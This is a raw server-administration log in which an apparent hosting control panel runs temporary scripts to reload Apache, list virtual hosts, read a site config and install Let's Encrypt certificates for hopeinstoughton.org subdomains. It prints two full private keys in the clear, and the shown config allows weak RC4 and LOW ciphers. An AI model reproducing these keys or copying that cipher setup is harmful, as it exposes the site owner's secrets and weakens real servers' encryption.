	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi


2025-08-30 06:02:13: 

chmod 755 /tmp/pkp350418; /tmp/pkp350418; rm /tmp/pkp350418

2025-08-30 06:02:13: 




2025-08-30 06:02:13: 

PUT: /tmp/pkp538617

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:02:13: 

chmod 755 /tmp/pkp538617; /tmp/pkp538617; rm /tmp/pkp538617

2025-08-30 06:02:14: 


.


2025-08-30 06:02:14: Establishing a connection
2025-08-30 06:02:15: 

PUT: /tmp/pkp752817

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:02:16: 

chmod 755 /tmp/pkp752817; /tmp/pkp752817; rm /tmp/pkp752817

2025-08-30 06:02:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-08-30 06:02:16: 

PUT: /tmp/pkp525712

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:17: 

chmod 755 /tmp/pkp525712; /tmp/pkp525712; rm /tmp/pkp525712

2025-08-30 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2025-08-30 06:02:17: 

PUT: /tmp/pkp152271

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:17: 

chmod 755 /tmp/pkp152271; /tmp/pkp152271; rm /tmp/pkp152271

2025-08-30 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5372
d7:56:88:0c:96:33:4c:b6:a2:2a:10:da:06:14:96:89

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBo24raFNHZ1zWgsf8OXyBDd1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODMwMDUwMzM2WhcNMjUxMTI4MDUwMzM1WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOiufkw8g697KevZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL
8I+qYgaFK5v/f5IQP4H8rY5brkvR1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Go
f/Fwvp0eWVT1DI4Wt3n+4dYwXjDDc5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVx
csfgaOw+UZyR6Tn4JofiP9F/gOuEL2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OY
qBgO5v4PKckBqYUrsjFqNuCZbimujObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z
5PkEaWA8Zr/pZpMaKtkhl/Ltvb7jX8MKvzBHAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFOTD7R1kHGLQ+NGXNM7E/B+Lin3tMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE4LmNybDCCAQMGCisGAQQB
1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idPOoRU
AAABmPmRnQEAAAQDAEYwRAIgOq4zhLsmOPnd2UIVkFfLFS8ggUh2jq38UF6OWsjn
XFkCIAimpBy7qpUoffWhwIxIVvtLTy+XYEQo6LiGp0akr5NnAHYA3dzKNJXX4RYF
55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGY+ZGdNAAABAMARzBFAiA5tgNeeo3i
o9din6a9R1mbFedsK2HZ0GMDKzHK5PQTPAIhAOMBOYXPZEbfICeNJ85tsztoKWwV
wfYULTXrmDyTmNJwMA0GCSqGSIb3DQEBCwUAA4IBAQB9Wx9TOQZVqlmkwg2G7zdc
UnM/9SJxa+52FQyuzL2fZuzrSlNKdZ0V5vees6u92x41vZx5KHCrCdwhHzYFzhTe
bNcMfqT85QUcDzQTSzy+STW3DdlCRREgoZh28P7QkdgWU3S8fKdfK0+Xzv2q2++5
dycDq6UCQ2v7MJxhLTFYvVJp8tp6Ejj0WQnMlIjwR0yCc10zc317UFwc2bJAcgvn
yLRQqPfcOs36r2BnLdomzkAwvGxRmggla5E/BpSAUCQ6vhHX3JRVw7P3lRPZIgbe
W35fSOrzg8f+TgbnAjKTONAIoPDfM/A7rhtSrUQDtSM44MiZGsCuVG/g55OcGrFG
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOiufkw8g697Ke
vZkNkEocBwBFqZKd7zVnH/LXK7QC4qcCOGvL8I+qYgaFK5v/f5IQP4H8rY5brkvR
1jJzLv7x16CZmaKb2OBF+tm8t+DtvTWh42Gof/Fwvp0eWVT1DI4Wt3n+4dYwXjDD
c5H3cFRjYksynu0HsWtWV9uyDVPUYIufcLVxcsfgaOw+UZyR6Tn4JofiP9F/gOuE
L2NNsgAP7BNB6ehD2lMFn2gfRP5jkBQCB1OYqBgO5v4PKckBqYUrsjFqNuCZbimu
jObp5+BGspyZ/nDI2oSUVQ/3uLj7UCBONe9z5PkEaWA8Zr/pZpMaKtkhl/Ltvb7j
X8MKvzBHAgMBAAECggEAPQudImYjRhpztqs/E100Kjh/ghdueDN9Sy+MLMCEAd5P
kj5uzeYZ8DfsyWtsPgXMe/TpTG9Xhg1r52cxng2j2ILsurlH8FwXXVeZB0gpuNqV
gXWdJZo7GCGeepvYmlzNmjU8X3MMRVtxejMsTz/qET26EAoc8IsluG1bR7LctgYT
EPoqqBRc8Rt45eGZZVPcQlvHtqhu4fcu6Sfwm0HBS1Uowf+EyDHd82kes49vgseh
9NSdfipIVtIWQQeQN+80Vj8Vu4tn92EqZu2D7FZYEvXToellzV7drXo6R/Sbil2d
gftoexDR04AdFTd0xxKRngpj+yzxJpAOab7xwi6/8QKBgQDmp65arCCBOENb+Jxm
728+epviwZH+OHWV4wHx75rgPtAiClTWY7G28g9dR5fGZt0Jq5NkbsszYdawDO7q
AcBV8vUaJYvSSezEFy7I9t64Rcgvv9itOPn4u+QKCvIy+ndUw/oRncsmRrAOAr4H
LBNjJ4E3H+bB40mQlxLEjvWgYwKBgQDlPPGKqdgrkgRj+tFRI4fJIiMUvzGLj37H
1ysKZYogF90BRdouS2MhLJtNGZ/Nno7D3LkaqUwq/6j3IucyATa1MH/SAaV8Ljz9
+WGD+zMtv6emB4TLAYCOOEmWvzGily4slFhvIVZeWqD4Eogalg4BBZ1eKOft4c+Z
MbfQm6iLzQKBgGsLYOhlv8QYp3I0g+llr3wQjO4EpcuUykVgkBOG/pqZrCBQKSVC
KUTdO/IveqmyLV0CiqnunVFgU7Fqnyps26VH1yZmTGiwtDghBi5wG9brU8eNQnLJ
4YDlOiTLBbJQ+TaWqSSp1ZES9zvZW/WaJ/k5aUd6/6313LtE0Yn1Sts/AoGBAJN/
Ows1bVnbgeeyoqvKaLwJsvjObFqX4cNDtvXhj5ZGxHTlNRVEfGwD/4kES8ZJlyJ/
CrsU42VnSph5ZLjP/xtmMVg2pvvX5Hal1xDMuIlfH8e8Xr0gIk9f+Dl+m7k5/QPC
D4SxtpjPR3NWuSwiELCnpDHJsDFncePoEZWwEiqhAoGAIFZ23zcc2hfaKMhFD2Y6
Ma+0jO3MP8DeXRcQC+VCR4fjgbpuBPhR6JGcrw+ogFlFgfDc7JjGZflCF5npMud5
DYyk15AwFaZuAXgssOhiNWVey+3SPIT/D2jto34mNXOimvOXYAyffhWHeYPBBTfE
moUDUf/jwpdqifgh+57r8JA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-08-30 06:02:18: Establishing a connection
2025-08-30 06:02:18: Establishing a connection
2025-08-30 06:02:18: 

PUT: /tmp/pkp519288

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:02:18: 

chmod 755 /tmp/pkp519288; /tmp/pkp519288; rm /tmp/pkp519288

2025-08-30 06:02:18: 


1


2025-08-30 06:02:19: Establishing a connection
2025-08-30 06:02:19: 

PUT: /tmp/pkp968310

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg


2025-08-30 06:02:19: 

chmod 755 /tmp/pkp968310; /tmp/pkp968310; rm /tmp/pkp968310

2025-08-30 06:02:19: 




2025-08-30 06:02:23: Establishing a connection
2025-08-30 06:02:23: 

PUT: /tmp/pkp312341

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm xHv4YHs1ZF5cYYe7pdKIC4ONyYuLEgWmMmdXLDskflg


2025-08-30 06:02:23: 

chmod 755 /tmp/pkp312341; /tmp/pkp312341; rm /tmp/pkp312341

2025-08-30 06:02:23: 




2025-08-30 06:02:23: Establishing a connection
2025-08-30 06:02:23: 

PUT: /tmp/pkp653861

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
ef:64:7f:d1:38:c8:d7:92:bb:4a:14:1c:90:1d:1d:7e

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBuavTtACnwucK8NB6Kr4FOvfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzUyWhcNMjUxMTI4MDUwMzUxWjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDWAqXce05lokV/aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0
dnwbqYdk8vUuf2y603Ts0AFcekjoi2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+
FF46tWVr8yLNzSM6hsVDtMYPifok5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK
75QIB+RMGZrNjE9ux5AszaMf9C4TiimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5
sx2+8SGlEONWpEKoHcpy6Y3UFhBHrg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3
SziHMZgYh8zKeIV58hkoFhSYkgMisHhxA7NhAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFA+ZWR3ik313Ak0l/l0nBA5Fhdj0MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTYuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQA
AAGY+ZHdrAAABAMARzBFAiEAqZVOzPWH4vpsoWZQCECeRh1+dVqRz1LXoM1gvoIV
wkgCIGqatdsGZ1DkD5NJq8+J96lHZVcHyXGEU1tDbVvBNhAPAHYA7TxL1ugGwqSi
AFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY+ZHdyQAABAMARzBFAiEAgPDeNSsQ
fIXcXZ6v1rkyAvmmgq7LuiR14guEXQ93FSYCIGAOYvykmB0LVX4l1/u2sT4BK/Ej
o2P/Nuydxnm/DEznMA0GCSqGSIb3DQEBCwUAA4IBAQAcj2H+GZ6j36yaVJM78xHG
2cTC9eNKhDiUloRmF/u1//fwXeu2J/8hXOdQmsNXf6mDoBRLmKpGYGRMBpGFOYPf
Q7Fr8hIgBMxGAbmSRCbBRUULwYMJ0Cw2dfAcBpqYkYAs+iMpAexh3tgE2dhy2XQX
6FOADxZ0/gBCgbdfdX1vhFV/Jnb1VrOUjHCKzdH4gDPhg8kmu70ZEWQMDi2VW4nM
Ba1PxagqDFmgmPCuhA1Q8jaPFayKFZKCqdy4Op0eDxWYEIh1vT/DC9shST+kBQKR
I4mKZRcN9sKDHfqf0nR77mfnqWeVb06I5qC1ryZSEq8jomDUIyl69UhFvg6gXCRs
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWAqXce05lokV/
aV19muOyGRwMEXpC3LPFzgMVwNzBIKQyJ/U0dnwbqYdk8vUuf2y603Ts0AFcekjo
i2pFCl4sRfr14Oyl2E0Bnf6efwqkOlUCSLN+FF46tWVr8yLNzSM6hsVDtMYPifok
5gnfkT770y+eIlMDQczCtTKEy44wJoMQ9HRK75QIB+RMGZrNjE9ux5AszaMf9C4T
iimeMqxmIXPRQZue8CKSVojitiRCFQpOqyG5sx2+8SGlEONWpEKoHcpy6Y3UFhBH
rg0V7VsmNsLEwgImlVA2h1OwLZHpQVFQGSI3SziHMZgYh8zKeIV58hkoFhSYkgMi
sHhxA7NhAgMBAAECggEBAKow1OIwFTpx/77Bdh3rTWRW350hUQ9XIIgPuxhTlbro
UGuqpy+fgjclbIz1QdJGd5tjijrBeDOo884rAMoC4r1msZtT0h5Zk3PTx6cX9MiB
sxTr6AI+BGm/0/YzFtx/ZKKohru/STsWSR2K6xMmGOZ/HgEt3sJaU5IMMy60ClFy
+qzI4l2AVjabMNCYDZpaQtJYgC+QhQOnBEdJ8J/5cbjXGrM02oHr8BqK46zS75KP
jGi6KO9f94jyO3jl18ZzSqU6t5p01BhCIHQ16Rs6EJwjtax4OEj4WMxXD+iczWnY
Be+OfjLRCMHxK8O93AS4/D6heTc0jVqHOeYo/rDAnNkCgYEA7zfsgoA4Oa79JTSo
zIYEDQqrQzLhpL8IavthcIiqTELwOO2MVg6KtnxwOMmoctaeuGPhe8OWfZPvXsG+
XR2k+xWqqbu3dLJW4fTSf4munGvAiX0slysOQYTPqaq+HMmawFK9HnFt/RHx4Hvb
8b9UU45Lg1kWgxXhGpwjdZ40d08CgYEA5QYEQ8UkhF6iepS9Xzp/JZgmn3oKiwQi
aZ39C+jVdH25lmWwlk/4F6MkaxNaRyXQuWZ8qQxgyflPIcfqynUuyEqj8sN+OHbw
ME5x5pDqXmJ/VNWtMByzG9XNGT0flF7DC/yKvPxNThHF2Aa4w+9YQbgbNv7DWGsz
CHdKO+vGfk8CgYAJk/OkRf36UUdRdgpMJhGDdCnnRuJB9mQf5HDCULaA1y1HGjvE
NlDXfaQAohJchrtUJqugiPQ9ku7CnH9Cuy0f4H40zY9K3Nkdsu+6q4iSOr46wwhG
BTNM7ERkRrHV9Tx89tMbpO8CcvV8R3lG9KIrtkbPu4FrPjUFG7tPukXfgQKBgBKb
y4rqIM50lgUZws1TBnO6iiDZHLQw8M7eHGp0T6u4b3Tt7Ew6UTEye0oL94DibLQz
xJtDuzWOAUUAZm5u2Q9DKVEXW1EhMODr7stKKRDkNe5hskG/gzoWxCRx1/gJPxXh
PjCe23Ulcorb+PVKpEQqvmNYjezIQQxGDQ0TWjx3AoGAfZ8xFTZLzIBUAkD0B/ih
4RomzvQTQR6/xD4gjVxxZdLq0NJ98ygICCWnlNcqdrFmDvhbQ5P/rDBdFwaTTV2j
AGJ9jLCcutt0+cCRws5v97kNupATQcKXbsuy/B4/R78zFlQwak8cH9DKewKPHmo0
iM+XePcX6FQH9poGFzPirc8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
